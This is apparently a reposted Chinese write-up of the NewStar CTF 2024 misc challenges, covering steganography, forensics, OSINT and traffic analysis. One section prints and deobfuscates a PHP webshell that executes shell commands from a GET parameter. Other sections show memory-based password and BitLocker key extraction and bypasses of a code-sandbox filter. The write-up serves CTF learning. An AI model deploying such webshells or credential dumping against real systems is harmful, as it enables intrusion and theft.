NewStar CTF 2024 misc WP

news/2024/11/5 13:26:58/文章来源:https://www.cnblogs.com/backlion/p/18527614

decompress

压缩包套娃,一直解到最后一层,将文件提取出来

image-20241024133500142

提示给出了一个正则,按照正则爆破密码,一共五位,第四位是数字

 ^([a-z]){3}\d[a-z]$

一共就五位数,直接ARCHPR爆破,得到密码 xtr4m,解压得到flag

image-20241024143051751

image-20241024133955066

pleasingMusic

题目描述中提到:

一首歌可以好听到正反都好听

根据提示(其实也能听出来后半段音乐是倒放出来的)将音频进行反向处理实现倒放,再解析其中的摩斯电码(Morse Code)。

界面 1界面 2

可以手动翻译摩斯电码表,也可以使用在线解码

粗的表示:-,细的表示:.间隔或者空格:用空格或者/分割

Morse 解密结果

image-20241024134921354

WhereIsFlag

纯命令手工查找,找到真正的 flag 在 /proc/self/environ 文件(可用于获取当前进程的环境变量)内,只要执行下面的命令就能拿到 flag.

 cat /proc/self/environ

image-20241024135548272

Labyirinth

image-20241024135921781

image-20241024135957928

兑换码

image-20241024140300688

wireshark_checkin

image-20241024140542352

image-20241024140718246

wireshark_secret

image-20241024141014162

image-20241024141234550

联系题目描述,找到提瓦特文字对照表

image-20241024141652291

对照表解出了很多东西

我一开始一直试的中间的那串大的,但是大小写都不对

后面继续解密四周小的密文,得到:FLAGISASENTENCE IIAAELGTSFKFA

DOYOUKNOWFENCE MESIOAABGNHNSGOGMYEIADE

提示 flag 是一句话,还有 FENCE 也就是栅栏加密MESIOAABGNHNSGOGMYEIADE

https://ctf.bugku.com/tool/railfence

image-20241024142911077

包裹 flag 提交发现没对,换小写发现正确

最终 flag为:flag{maybegenshinisagoodgame}

字里行间的秘密

使用vscode打开,发现U+202c的的宽零字节

image-20241024143304292

image-20241024143434003

得到密码:it_is_k3y

使用密码打开word,发现空白,ctr+A全选,复制出来,得到flag

image-20241024143550459

热心助人的小明同学

vol.py -f image.raw imageinfo

image-20241024143952884

可知建议选择的操作系统版本有:Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86. 这里选择第一个(Win7SP1x86_23418)进行尝试,反正不行就试试别的。

voL.py -f image.raw --profile=Win/SP1x86_23418 lsadump

image-20241024144028191

开头的 0x48 并不是密码,你可以理解为是一个标志,除开这个你就能得到系统密码:ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh.

最终flag 为 flag{ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh}

用溯流仪见证伏特台风

第一步,打开新闻视频的链接

bilibili1

bilibili2

根据视频,我们获得以下信息:

  • 所需报告:The Rise of Dark Power...
  • 对应版本:最初 4 月 15 日版本
  • 现状:所需信息已经被篡改

我们直接搜索报告名称

https://threatmon.io/storage/the-rise-of-dark-power-a-close-look-at-the-group-and-their-ransomware.pdf

google

duckduckgo

可以看到我们需要的 PDF 文件,但是视频中又提到报告内容已经被篡改

篡改

所以现版本肯定是没有我们所需的信息的

出题人之前运气好,搜到过可以直接下载的原始版本 PDF,直接就可以开做。

但运气不好怎么办呢?我们请出我们的网站时光机—— wayback machine.

wayback 1

输入官网链接,启动溯流仪,正好有 4 月 15 日的版本。

wayback 2

wayback 3

下载文件,剩下的内容就和视频中演示的一样了。

移开封底图片,拿到 Domain 框里的东西,然后 MD5,

当然,你要是能用肉眼直接把视频里的模糊信息读出来,出题人也认了。

domain

md5

包上 flag,得到 flag{6c3ea51b6f9d4f5e}.

Herta's Study

http导出得到upload.php

image-20241024145523278

 <?php
    $payload=$_GET['payload'];
    $payload=shell_exec($payload);
    $bbb=create_function(
        base64_decode('J'.str_rot13('T').'5z'),
        base64_decode('JG5zPWJhc2U2NF9lbmNvZGUoJG5zKTsNCmZvcigkaT0wOyRpPHN0cmxlbigkbnMpOyRp
        Kz0xKXsNCiAgICBpZigkaSUy'.str_rot13('CG0kXKfAPvNtVPNtVPNtWT5mJlEcKG1m').'dHJfcm90MTMoJG5zWyRpXSk7DQo
        gICAgfQ0KfQ0KcmV0dXJuICRuczs==')
    );
    echo $bbb($payload);
 ?>

str_rot13() 函数对字符串执行 ROT13 编码。

ROT13 编码是把每一个字母在字母表中向前移动 13 个字母得到。数字和非字母字符保持不变。

"."是php里的连接符,所以上传的php代码其实为:

 <?php
 $payload = $_GET['payload'];
 $payload = shell_exec($payload);
 $bbb = function ($ns) {
    $ns = base64_encode($ns);
    for ($i = 0; $i < strlen($ns); $i++) {
        if ($i % 2 == 1) {
            $ns[$i] = str_rot13($ns[$i]);
        }
    }
    return $ns;
 };
 echo $bbb($payload);
 ?>

根据代码,可以看到,得出的结果经过base64编码,然后把里面的奇数位字符用str_rot13编码了。

然后去找到请求flag的包,解码,但是发现是fake flag。

 <?php
 $result='ZzxuZ3tmSQNsaGRsUmBsNzVOdKQkZaVZLa0tCt==';
 $bbb=function ($ns) {
    for ($i = 0; $i < strlen($ns); $i++) {
        if ($i % 2 == 1) {
            $ns[$i] = str_rot13($ns[$i]);
        }
    }
    return $ns;
 };
 echo base64_decode($bbb($result));
 ?>

后来去找了下f.txt,解出来flag:flag{sH3_i4_S0_6eAut1fuL.}

BGM 坏了吗?

用 Audacity 打开音频很容易发现结尾处右声道有信息,而左声道是噪音

audacity 1

根据题目描述是拨号音,但是直接放解不出来,需要删掉噪音

选择 分离立体音到单声道 » 关闭左声道 » 导出

image-20241024151621861

image-20241024151650045

image-20241024151704929

audacity 4

按键音(即DTMF)解密网站:DTMF Decoder

image-20241024151752387

image-20241024151805669

包上 flag{} 即可

AmazingGame

安卓私有目录位于 /data/user/0/<包名>

安卓的 shared_prefs 一般用来存放软件配置数据

修改文件即可更改已通过的关卡数据

通过第一关后,关掉游戏(这点很重要)

ADB 链接手机执行

shell

 adb shell
 run-as com.pangbai.projectm
 cd shared_prefs
 cat net.osaris.turbofly.JumpyBall.xml

xml

 <?xml version='1.0' encoding='utf-8' standalone='yes' ?>
 <map>
    <boolean name="cockpitView" value="true" />
    <int name="unlockedsolotracks" value="2" />
    <int name="unlockedtracks" value="2" />
    <int name="best0m0" value="130" />
    <int name="unlockedships" value="1" />
    <int name="userid" value="9705893" />
 </map>

软件有 23 个关卡,我们把关卡解锁数改为 23

正常来说应该用 adb push 来修改文件,这里我们为了方便直接把 2 替换成 23

shell

 sed -i 's/2/23/g' net.osaris.turbofly.JumpyBall.xml

打开游戏发现关卡全部解锁,随便游玩 23 关,等游戏结束即可获得 flag

ez_jail

本题的原意是只考查 {} 在 C++ 里的(宏)替代运算符这个知识

只要关键词用得对,网上一搜就能搜到,但是被出题人执行坏了,测题时出现了一堆非预期。考虑了一下各个知识点的难度,感觉非预期的难度和预期解相差不大,就索性变成了一道半开放性的题目

我们观察代码的 check 函数

python

def cpp_code_checker(code):
if "#include" in code:
return False, "Code is not allowed to include libraries"
if "#define" in code:
return False, "Code is not allowed to use macros"
if "{" in code or "}" in code:
return (
False,
"Code is not allowed to use `{` or `}`,but it needs to be a single function",
)
if len(code) > 100:
return False, "Code is too long"
return True, "Code is valid"

这段代码看似过滤了 #include #define 等,但不知道同学们有没有意识到 # 后加空格就能绕过这里,也就是说可以通过宏定义来做到编译前预处理

所以 Payload 可以是这样(感谢 yuro 师傅提供解法)

cpp

# define user_code() write(STDOUT_FILENO, "Hello, World!", 13);

预期解是找到 C++ 的替代运算符的相关资料,然后使用 <% %> 替换{},Payload 如下

cpp

void user_code()<%write(1, "Hello, World!\n", 14);%>

除此之外,还可以使用指针,把 user_code() 变成一个空函数。输出的话可以通过定义一个全局变量接收输出函数的返回值来实现,其 payload 如下(感谢 c_lby 师傅提供解法)

cpp

int a=puts("Hello, World!");
int (*user_code)()=rand;

或者可以这样(感谢 KAMIYA 选手提供解法)

cpp

 int x = (printf("Hello, World!\n"), 0);
 using user_code = void(*)();

OSINT-MASTER

给了图片,先看图片的 EXIF 信息,拍摄时间是 2024-8-18 14:30,照片中可以在机翼上看到一个标号 B-2419

直接在 flightaware 中搜索这个标号,应该是飞机的注册号

可以搜到这是一架东航的飞机

flightaware 搜索结果

在下面可以找到历史航班

历史航班

可以看到,在 2024 年 8 月 18 日这四架航班中,只有红框中这架符合 14:30 在飞行中,点进去看一下详细信息

找到航班号 MU5156

航班号

下面根据照片拍摄时间和航行轨迹来找照片拍摄时飞机经过的地级市,我这里使用航班管家,有了航班号直接搜

14:30 在 14:13 和 14:51 中间偏左的位置

航班轨迹

放大来看,此时飞机大致经过邹城市

邹城市

经过搜索,邹城市属于济宁市,济宁市是地级市

济宁市

所以答案是 flag{MU5156_济宁市}

扫码领取flag

1.解压得到很多压缩包文件,使用winhex查看,发现是8950开头,都将文件修改为后缀名.jpg

2.使用工具对所有png图片进行CRC32自动化爆破修复,会得到每个图片是二维码的残图

image-20241024162815346

image-20241024162756967

3.使用PPT对二维码进行拼接成一张二维码图片

image-20241024162740235

4使用OCR扫描二维码得到 flag

image-20241024162730431

flag{Then_d0_you_kn0w_w6at_Hanx1n_cod3_1s?}

擅长音游的小明同学

题目简介如下:

主要是帮助新人了解一下磁盘取证仿真的过程,为了让他符合一点 Week4 的特质还附赠了一点图片隐写,还有出题人活全家小trick。

如果有强大的必应搜索能力,除了 trick 需要动脑子,其他的按网上教程其实都有,不过下面也有就是了

先看介绍:

小明是资深的音游玩家,有一天他游玩某知名街机音游后顺利使 rating 上 w5,

当他将成绩图上传到电脑上时,他的桌面【直接显现】了神秘的东西

然而没等他反应过来,他的电脑就消失不见,只剩下一个磁盘镜像(?),

这时小明脑海中有一个声音告诉他,如果他找不出来神秘的东西就会抽走他的音游底力,

小明顿时慌了,想希望你帮帮他【利用镜像启动系统】,找到找到令人头疼的秘密。

首先我们能知道什么?

  1. 小明是音游吃,底力没了会很伤心
  2. 桌面上有秘密,说白了就是 Flag,而且很明显
  3. 你手里有一个磁盘镜像
  4. 算是个提示:使用磁盘镜像启动系统

这个提示告诉我们解题流程类似于仿真取证。


预期解法:使用 FTK imager + 虚拟机进行仿真找出 Flag.

TIP

科普常用小工具:FTK imager ——可以制作镜像、挂载镜像、分析镜像,数据恢复等操作,不管是出题还是解题都十分好用,这里正常解法使用 4.2.0 版本,高版本可能会出现一些问题。

想要进行仿真取证的话,了解系统的基本信息是非常必要的,这里我们使用最原始方法为例:

首先我们打开 FTK imager 加载拿到的镜像,我们看到所有分区都加载完毕,发现磁盘名称有提示,说明系统是 Windows7 x64.

FTK imager

由提示而来,看看桌面的背景图片和文档,能不能直接提取 Flag.

瞅一眼图片,路径在 C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\ThemesC:\Windows\Web\Wallpaper\Windows 可以看到十分抽象的壁纸,根本没有能明显看见的东西,瞅一眼桌面文件夹,只有一大坨文件,也没有什么直观能看见的,内容倒是有:

桌面文件夹

文件包含的一些内容:

要开始了哟~.txt真相.txt

plaintext

 今天舞萌彩框了好开心啊o(* ̄▽ ̄*)ブ
 我要把这一刻用照片保存下来
 不过在拍摄rating变化的瞬间总感觉有什么东西藏进照片里了
 打开也没发现什么异常,但是体积好像变大了一点
 是错觉吗?

我们确定了有一张日常图片,而且一定是藏了东西的,我们可以在图片文件夹寻找到照片进行分析(哎舞萌痴):

舞萌

使用 010 Editor 进行查看的话,可以发现除了正常的照片内容,还有意义不明的文字和一个压缩包(实际上使用 binwalk 梭一下也很正常):

010 Editor

文字内容:

plaintext

 ?????_DIMENSION_1200x800

压缩包可以使用 binwalk 提取并解压:

secret.txt

plaintext

 听好了听好了听好了听好了听好了听好了听好了:
 
 1919年8月10日,世界就此陷落,
 陷落的世界都将迎来一场漩涡,
 为这个世界带来有关弗拉格尚未知晓的真相。
 
 但发掘真相的道路被加诸混沌的历练
 世界的宽高未被正确丈量
 当真相被混沌打乱时
 真相将不复存在
 
 也许,在世界的重置和轮回中能找到发现真相的方法……
 
 至此,尘埃落定
 至此,一锤定音
 
 #音游# #NewStarcaea# #Misc#

这里可能就需要一些脑洞了,这个世界的宽高和上面的 Dimension 1200×800 能想到是分辨率吗?

实际上到这里信息刺探就已经结束了,下面开始进行仿真启动,这里使用了 Vmware,如果你想使用 HyperV 或者 VirtualBox 的话可以搜索:如何将 E01 转为 VHD / VDI.

注意

FTK Imager 4.5.0.2 版本可能会出问题,建议使用 4.2.0 版本。

进行以下选择,直接将镜像映射成物理磁盘,方便虚拟机直接使用启动:

映射

一定要选择挂载方式位 Writable 不然会因为无法写入而报错,点击 Mount 挂载,下面出现挂载结果表示成功:

挂载

挂载成功后我们打开虚拟机,这里使用 Vmware,由于使用物理硬盘需要管理员权限,所以我们需要使用管理员启动 Vmware,右击快捷方式,打开文件位置,再次右击选择兼容性,勾选以管理员权限启动:

管理员启动 VMware

启动之后新建虚拟机就可以了。

选择 Windows7 x64 配置,一路全选推荐,其中需要注意的如下:

新建虚拟机1

新建虚拟机2

新建虚拟机3

新建虚拟机4

为什么要选择 UEFI?

结合搜索引擎和对挂载硬盘的研究,不难发现除放置文件的硬盘,还有两个小硬盘,对应的就是 ESP 分区 和 MSR 分区,这些特征符合 GPT 分区格式的硬盘,不同于 MBR,因此需要选择 UEFI,这里不展开讨论,有兴趣的师傅们可以慢慢了解。

新建虚拟机5

新建虚拟机6

WARNING

这里选择要与挂载结果的显示物理磁盘的挂载位置要一致。

接下来就可以启动了,如果提示被占用,可以检查挂载是否挂载为「可写」,也可以尝试重启系统,使用 FTK 直接挂载,再试一次。

当你进入系统后就不得不想起前面的提示:

plaintext

 但发掘真相的道路被加诸混沌的历练
 世界的宽高未被正确丈量
 当真相被混沌打乱时
 真相将不复存在
 
 1200x800

Flag 其实是拿桌面图标堆的,要是不是 1200×800 的分辨率启动就会被重新排列,一旦被重新排列,图标就再也回不去了

桌面

你需要切换到 Guest 调整窗口到相应分辨率再切换到 Admin 账号,就看到了:

Flag

最终:flag{wowgoodfzforensics}

WriteUp 是出题人视角的解法,如果是新生想要解题,则大概率做题路径会先根据题目介绍先仿真启动虚拟机,然后发现桌面什么都没有,根据留下的引导发掘出真相,然后重新启动一遍虚拟机。(一想到发现真相的新人们要重新开始笑容就到了我的脸上。)

擅长加密的小明同学

涉及到取证常见的 Volatility 和 GIMP 看图的组合技,还融入(缝)了 BitLocker 解密环节。

拿到题目,题目含有一个 .raw 镜像和一个 .vhd 镜像,尝试挂载 vhd 镜像发现有 BitLocker 加密,看一眼简介:

小明在学习中对各类文件加密的方式起了浓厚的兴趣,并把自己珍贵资料和 Flag 进行了套娃式加密。然而,他却在某天的凌晨三点选择了重装系统,本来他就记不住自己的密码,还丢失了备份密钥…… 据受害者回忆,【他曾经使用画图软件把密码写了下来】,尽管备份已经丢失,如果能成功看到程序运行的样子,说不定就找回密码了,但是硬盘的加密怎么办呢,哎呀~要是有软件能直接破解就好了www

明确目标,我们围绕套娃加密分析:

双击 vhd 发现有 BitLocker,BitLocker 怎么解?理论上没有密码和恢复密钥还真解不开,也没有软件能直接破解,但是 dump 内存镜像的机器是成功解密 BitLocker 的,内存中会残留着 BitLocker 的密钥,而借助内存镜像来解密 BitLocker 的软件确实是有的,他是 Elcomsoft Forensic Disk Decryptor,基本上搜到的博客都用它,使用以上软件,按图示步骤解密:

step1

选择第一项「解密或挂载硬盘」:

step2

由于题目给了 vhd 文件,所以选使用镜像文件的第二项:

step3

数据来源选择被加密的镜像,而内存转储文件就选题目给的 raw 文件:

step4

一顿操作猛如虎,你就拿到了恢复密钥,这时候你就可以解锁被加密的 vhd 了,软件可以导出解密内容为 raw 格式镜像,raw 格式处理会麻烦一点,但不是不可以。这里在 “更多选项” 选择用恢复密钥解密,得到:

step5

然后你会发现套娃的第二层加密:

7z 在密码复杂的情况下基本不可能被解出密码,根据提示,我们得知小明曾经使用画图软件把密码写了下来,我们可以借助内存镜像看到程序运行的样子找回密码。

在这里我们借助 volatility 和 GIMP 的力量解决问题:

首先按照上一道取证,分析镜像后查看进程:

Volatility 1

Volatility 2

发现 mspaint.exe(画图进程),我们提取出来,使用 memdump:

memdump

提取出的程序对应的 dmp 文件是含有程序运行时的显示内容的,我们只需要寻找运行时图像在 dmp 文件中的位置,然后想办法让他显示出来,这里我们就可以借助 GIMP 通过调整偏移,高,宽的方式达到上面的目的。

在此之前,记得改后缀为 .data,拉入 GIMP 打开,可以看到:

gimp

我们现在就是要调节位移、宽度、高度来显现程序运行时显示的内容。

小提示

  1. 一般正常的内存镜像的话,图像类型我们都选择「RGB 透明」
  2. 适当调大宽高,能显示多一点内容,但别调太高,小心程序崩了
  3. 位移看着拉,先拉到感觉有东西显示的位置,感觉差不多这样吧,一般画图就是白的夹依托的感觉:

    白的夹依托

  4. 调好位移就调宽高,宽和高实际上就是和程序窗口大小有关,所以别太高,主要是宽度,如果和图上一样↘斜,那么你就该调高宽度,箭头一点一点加上去,如果是↗,你就得一点一点减下来,知道看上去正常了,下面是较为正常,也够用:

    差不多恢复

    虚拟机真实照片

  5. 936 其实已经是很正常了(上附虚拟机真实图片),其实如果你发现内容如果很不对劲,频繁重复的话,你也可以适当减小整数倍(当然这里会看起来很窄):

    窄

总之多尝试 ~

最后我们得到了:

解压密码

压缩包密码:rxnifbeiyomezpplugho

解压得到 Flag:Flag{5ZCb44Gv5Y+W6K+B5pys5b2T44Gr5LiK5omL}

ezblockchain

本题是一题区块链题。

浏览器安装 MetaMask 插件,在 MetaMask里 添加网络,网络符号和货币符号可以随便输

MetaMask

通过自己的账号地址在 faucet 获得测试代币

faucet

nc 获得合约部署账号并使用 Metamask 转账

nc

Metamask

交互部署合约,获得合约地址和代码

deploy

source

将代码复制进 Remix 编辑器 内,在「Solidity 编译器」选项卡点击编译,然后切换到「部署 & 发交易」选项卡,环境选择 Injected Provider,选择你有 eth 的账户,合约选择你刚编译的合约,然后加载前面 nc 获得的合约地址

阅读合约代码可以知道,我们要调用 unlock 函数,传入 re@1lY_eA3y_Bl0ckCh@1n 并发送 0.0721 个 eth. 因此在「部署 & 发交易」选项卡的以太币数量填入 0.0721 eth,由于无法填入小数,需将其转为 72100000 Gwei,在 unlock 填入 re@1lY_eA3y_Bl0ckCh@1n,点击 unlock 进行交易。

unlock

交易确认后点击 isSolved 可发现已经变为 true. 此时再 nc 交互即可得到 flag

flag

Alt

本题考察键盘流量的解析。

根据选手反馈,本题难点有二:

第一步我们需要用 tshark 把 USB 数据提取出来,本题的数据为 usbhid 格式,有些题目的格式也可能是 usb.capdata.

bash

 tshark -r keyboard.pcapng -T fields -e usbhid.data > usbdata.txt

然后得到的数据里有一些空行,可以用文本编辑器批量替换掉。我这里截最前面的一段作为示例进行分析:

plaintext

 0400000000000000
 0400590000000000
 0400000000000000
 0400620000000000
 0400000000000000
 04005a0000000000
 0400000000000000
 0000000000000000
 0400000000000000
 0400590000000000
 0400000000000000
 0400620000000000
 0400000000000000
 0400600000000000
 0400000000000000
 0000000000000000
 0400000000000000
 0400610000000000
 0400000000000000
 04005f0000000000
 0400000000000000
 0000000000000000

根据中文互联网上能容易找到的、不用充会员的键盘流量分析相关资料可知,第一字节代表控制键,第二字节保留为 0x00,第三到八字节是我们敲击的键。

有些同学反映,网上的脚本里找不到 0x59 0x62 等等键码对应的按键,原因上面讲过了。其实多读几篇国内的相关文章就会发现它们经常引用一篇名为 Universal Serial Bus (USB) 的文章,把这个文件下载下来,第 55 页就有对应的对照表。

很多同学分析到这里,都会忽略第一字节的 0x04,根据题目名和网上的资料可以知道是按着 Alt 键。那么整个击键流程就比较清晰了:保持 Alt 键的按下状态,按下几个数字键,然后松开 Alt。

直接搜索「Alt 加数字键」,就能知道这是在按Unicode码值输入字符,写个脚本稍微自动化一下或者直接一个个手动看过去,很容易分析出来上面截取分析的这段流量就是在输入 fla 这三个字符,以此类推,就能得到整个 flag.


还有一些同学对流量里的 backspace 退格键有所疑惑,认为是删除了前一个数字或者认为是删除了整个字符。很遗憾两者都不是。

注意题目描述中指明了,flag 含有非 ASCII 字符且语义较通顺。如果退格键是删除了 Alt 加数字键打出来的整个字符的话,得到的 flag 就不含有非 ASCII 字符。 如果退格键是删除了上一个输入的数字的话,得到的 flag 的非 ASCII 部分没有任何语义。反而是忽略了退格键,能得到正确的结果,比如说第一段非 ASCII 字符是键盘流量

因为出题人在出题时是用的 Windows 11 自带记的事本,如果要让 Alt 加数字的结果是中文字符的话,经测试需要按下退格键或者是 Enter 键,也说明 Alt 加数字键输入非 ASCII 字符这个特性在不同软件里不一定能完美复现。除了手动复现按下 Alt 键加数字键这个流程以外,也可以直接使用 Python 的 chr 函数进行计算,就能获得十进制码值对应的字符。




附件内容:链接: https://pan.baidu.com/s/1_5ASgOO7VUzUp1rhDMZYtg?pwd=8mgn 提取码: 8mgn 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/827111.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《图解设计模式》 第八部分 管理状态

第17章 Observer 模式public abstract class NumberGenerator{private ArrayList observerList = new ArrayList();/* 部分代码省略 *///加入基础类,当需要通知的时候通知public void addObserver(Observer observer){observerList.add(observer);}public void notifyObserver…

npmpnpm

npm与pnpm 磁盘效率:pnpm 更高效,节省磁盘空间。 安装速度:pnpm 通常更快,尤其是多项目环境下。 依赖管理:pnpm 更严格的依赖隔离,减少冲突。 Monorepo 支持:pnpm 支持更好,尤其是大型项目中。 Monorepo 支持是指在一个代码仓库(repository)中管理多个项目或软件包的…

洛谷题单指南-二叉堆与树状数组-P3378 【模板】堆

原题链接:https://www.luogu.com.cn/problem/P3378 题意解读:实现二叉堆。 解题思路: 二叉堆本质上一棵完全二叉树,根节点称为堆顶,根据特性不同分为有两种: 大根堆:所有父节点的值大于子节点,根节点最大 小根堆:所有父节点的值小于子节点,根节点最小 主要作用:动态…

冒泡排序与选择排序超详细讲解

冒泡排序与选择排序 冒泡排序 condition:输入5个数字,冒泡排序,逆序输出 #include<stdio.h> int main(){int userInput,tmp,i,j,arr[6],flag;flag = 0;for(int i=0;i<5;i++){scanf("%d",&userInput);arr[i] = userInput;}//依次输入五个数字for(int i…

【前端】六款高颜值登录页面

原创 吴旭东 无限大infinity第一款–简约风格HTML: <!DOCTYPE html> <html lang="zh"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0">…

【前端】六款高颜值注册界面

原创 吴旭东 无限大infinity 和昨天的一样,带来了六款注册界面,可复制源码(需要定制请加微信) 第一款–简约风格HTML: <!DOCTYPE html> <html lang="zh"> <head> <meta charset="UTF-8"> <meta name="viewport…

硬盘开机报错是什么原因引起的

硬盘开机报错可能由多种原因引起,以下是一些常见的原因及相应的解决方法: 一、硬件连接问题 数据线松动或损坏: 外部硬盘:检查USB线是否插紧,尝试更换USB线或连接到其他USB端口。 内部硬盘:检查数据线和电源线是否牢固连接,确保没有松动。 接口灰尘或损坏: 清洁主板上的…

PHPStudy 安装tp8 php8.1.3 安装XDbug、redis扩展

1.1 下载php安装包 https://windows.php.net/download/1.2 下载的的安装包1.3 解压 解压到D:\phpstudypro\Extensions\php\php8.1.3nts1.4 修改php8.1.3的php.ini文件 将php8.1.3nts目录下的php.ini-development文件复职一份并改文件名为 php.ini 。然后可以将php.ini里面的内容…

pyspark建模(类似于dwd层),flask直接对接前端请求进行召回(类似于ads层,但是不保存)

2. Spark MLib 2.1 Spark MLib 开发环境准备 2.1.1 配置python和spark环境 安装Python环境 安装Anaconda3-5.2.0-Windows-x86_64.exe配置环境变量Anaconda_HOME E:\20241014_Soft\Anaconda3PATH %Anaconda_HOME%Scripts;%Anaconda_HOME%Library\mingw-w64\bin;%Anaconda_HOME…

征程 6E camera diag sample

01 功能概述 本文的 demo sample 主要描述当前 camera 相关外设诊断的当前状态,并提供自定义实现的方法及使用说明。 1.1 软件架构说明 本 sample 基于现已实现的 camera 诊断架构,libcam 内的外设诊断功能对外设硬件状态进行监测,并支持将故障状态发送给 MCU 处理,或通过事…

实时数仓及olap可视化构建(基于mysql,将maxwell改成seatunnel可以快速达成异构数据源实时同步)

1. OLAP可视化实现(需要提前整合版本)Linux121 Linux122 Linux123jupyter✔spark ✔ ✔ ✔python3+SuperSet3.0✔hive✔ClinckHouse✔Kafka ✔ ✔ ✔Phoenix ✔DataX ✔maxwell✔Hadoop ✔ ✔ ✔MySQL✔ZK ✔ ✔ ✔HBASE ✔ ✔ ✔1.1 安装Vmware,安装虚拟机集群 1.1.1 安装 …

AI运动小程序开发常见问题集锦二

截止到现在写博文时,我们的AI运动识别小程序插件已经迭代了23个版本,成功应用于健身、体育、体测、AR互动等场景;为了让正在集成或者计划进行功能扩展优化的用户,少走弯路、投入更少的开发资源,针对近期的咨询问题,我们又归集了一些常见问题,供大家参考。一、计时、计数…